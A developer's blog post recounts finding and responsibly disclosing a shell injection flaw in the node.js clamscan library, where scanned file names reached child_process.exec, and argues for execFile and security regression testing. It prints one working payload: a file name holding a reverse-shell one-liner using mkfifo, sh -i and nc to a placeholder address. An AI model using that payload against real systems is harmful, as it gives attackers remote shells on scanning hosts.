Do know know the old saying in the security circles that all input is evil? This has never stopped being true, especially for arbitrary user controlled input.

Few days ago the subject of injection vulnerabilities came up in a presentation at work, including shell injection vulnerabilities. Which reminded me of something from nearly 5 years ago.

I was doing a PoC antivirus using clamscan (i.e the node.js library) and ClamAV. With node’s file notification support, it was rather easy to implement a realtime scanning engine. The thing that was not that easy – getting this ready on time as it was a contractual obligation and the pentester on site had to make sure the customer’s pentesters won’t raise one too many eyebrows.

Needless to say, when writing something under the time pressure, the last thing on a developer’s mind is to audit the libraries used to deliver a piece of functionality. The initial win was short lived as the pentester came with an issue: the files containing special character names are detected as infected, however, they are not removed from the disk. One might have seen a glint in my eyes upon hearing those words.

This has raised an immediate red flag as I suspected the library was crashing, but the crash handler was just returning the default message that a file is infected. Few seconds into reading the source code and the suspected issue was confirmed: the dreaded child_process.exec is handling the user supplied files so there was no doubt that there’s a shell injection vulnerability in there.

Cue arbitrary remote code execution. Within minutes I have had a PoC exploit demonstrating what’s happening if somebody is scanning a file named:

`rm -f f;mkfifo f;cat f|sh -i 2>&1|nc $IP $PORT>f`

Filling $IP and $PORT have been left as exercise for the reader. Any inline reverse shell would work in there – provided it reads a series of shell commands. To quote a classic – would you look at that? Yep, that’s spawning a reverse shell to an attacker controlled machine when the file name is actually executed as shell commands instead of being a rather benign file to be scanned by the AV.

I have shown this to the pentester. Got a strong handshake and something along the lines that they have never seen this whilst doing a customer pentest. I’m guessing the typical customer doesn’t write exploits to pwn their own software, even when the issue is in a 3rd party lib.

The next step was to responsibly send an email explaining the whole thing, then asking the clamscan developer to pull the changes from my fork as the innocent sounding commits do a bit more than what’s left there for the untrained eye i.e the choice for child_process.execFile in place of child_process.exec wasn’t merely a cosmetic change, but a security fix.

I have been using execFile before it was even documented in the user facing docs of node.js. And I know because have done the same mistake with mime-magic, albeit realised the security implications years after it has been patched. That patch was more pragmatic in nature i.e handle particular edge cases which unknowingly has fixed the shell injection vulnerability.

Sadly, the issue reappeared after v1.0 of clamscan has been rebased from another branch which still had the same vulnerability in a different form, so it became another 0-day until very recently. Unfortunately, I have stopped using clamscan for the actual solution as my node.js implementation was just an advanced form of PoC and the development team responsible for that component wrote a proper intake scanner to use the clamd service. So, the whole thing dropped off my radar until being reminded about this class of vulnerabilities.

I’m guessing the second lesson to be learned here is that doing regression testing for past security incidents is pretty much a must, especially if large chunks of code are rewritten. Those big changes may wipe out security fixes.